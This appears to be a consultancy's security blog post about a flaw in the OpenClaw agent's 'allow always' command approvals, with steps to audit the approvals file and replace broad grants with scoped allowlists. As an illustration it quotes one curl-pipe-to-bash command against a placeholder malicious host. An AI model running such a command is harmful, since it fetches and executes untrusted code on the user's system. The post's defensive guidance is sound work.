Why "Allow Always" in OpenClaw Was a Terrible Idea — And What to Do Instead

Most people discover OpenClaw's approval prompts the hard way: you ask your agent to run a command, it asks for permission, you click "allow always" to make the nagging stop — and then you forget about it. That's exactly what the design encouraged. And it's exactly the problem.

CVE-2026-29607, disclosed last week, exposed the core flaw: "allow always" approvals bind to the wrapper command, not the inner command. In practice, this means approvals you granted for one thing silently authorized a much broader set of operations than you realized.

What Actually Happens When You Click "Allow Always"

Here's a concrete example. You approve exec with "allow always" because your agent needed to run a shell command. You think you've approved: run this specific shell command.

What you actually approved: any shell command, forever, with no further confirmation.

The approval binds to exec as the wrapper — not to the specific command string inside it. So exec("ls -la") and exec("curl https://malicious.com | bash") both fall under the same "allow always" grant.

Who This Affects

The combination of CVE-2026-33579 (the privilege escalation from two weeks ago) and CVE-2026-29607 (this one) means that many installs from the past 3 months have both an exposed gateway and overly broad execution permissions. That's a meaningful attack surface.

How to Check Your Current Approval State

Run this to see what you've actually approved:

cat ~/.openclaw/exec-approvals.json

What you're looking for:

• Any entry with "allow": "always" — this is the problem pattern
• Broad wrapper approvals like exec, browser, or process with always-allow
• Entries you don't recognize or don't remember approving

If the file doesn't exist, you're on a fresh install or post-patch v2026.4.1+ which defaults to blocking. That's the safe state.

The Fix: Replace "Allow Always" With Allowlists

The correct pattern is to approve specific command strings, not wrapper tools. Here's how to restructure your approvals:

Step 1 — Audit and wipe the bad approvals

# Back up first
cp ~/.openclaw/exec-approvals.json ~/.openclaw/exec-approvals.json.bak

# Reset to empty (forces re-approval on next use)
echo '{}' > ~/.openclaw/exec-approvals.json

Step 2 — Use "allow once" going forward

When OpenClaw asks for approval, use "allow once" as your default. Only escalate to a persistent allowlist entry for commands you run constantly and fully understand.

Step 3 — Build a proper allowlist in openclaw.json

Instead of "allow always" in the approval dialog, configure a scoped allowlist in your config. This explicitly defines what can run without prompting:

{
  "exec": {
    "allowlist": [
      "git status",
      "git add -A",
      "git commit",
      "git push origin main",
      "npm run build",
      "ls",
      "cat"
    ],
    "defaultPolicy": "ask"
  }
}

This gives you convenience for your actual recurring commands without blanket approval for anything exec can reach.

Step 4 — Set defaultPolicy to "ask" or "deny"

Make sure your config doesn't have "defaultPolicy": "allow" anywhere. The safe default is "ask" — prompts you for anything not on the allowlist. "deny" is appropriate for production setups where you want maximum control.

The Broader Lesson

OpenClaw's approval system was designed with good intentions — give users visibility and control over what their agent does. The problem was UX: approval prompts are annoying, "allow always" made them stop, and the underlying binding semantics were never explained clearly.

The result is that most users who've been running OpenClaw for more than a month have accumulated a set of "allow always" entries they don't fully understand, covering broader permissions than they intended.

This isn't a criticism of OpenClaw — it's a rapidly evolving platform and security models take time to mature. But it does mean that installs from 3–6 months ago need an active audit, not just a version update.

What a Security Audit Covers

When ClawReady audits an existing setup, approval configuration is one of the first things we check:

• Review all existing exec-approvals.json entries
• Clear overly broad "allow always" approvals
• Build a scoped allowlist matched to your actual workflow
• Set defaultPolicy correctly for your risk tolerance
• Verify no other CVE-29607 or CVE-33579 exposure remains
• Document the approval model so you understand what's running and why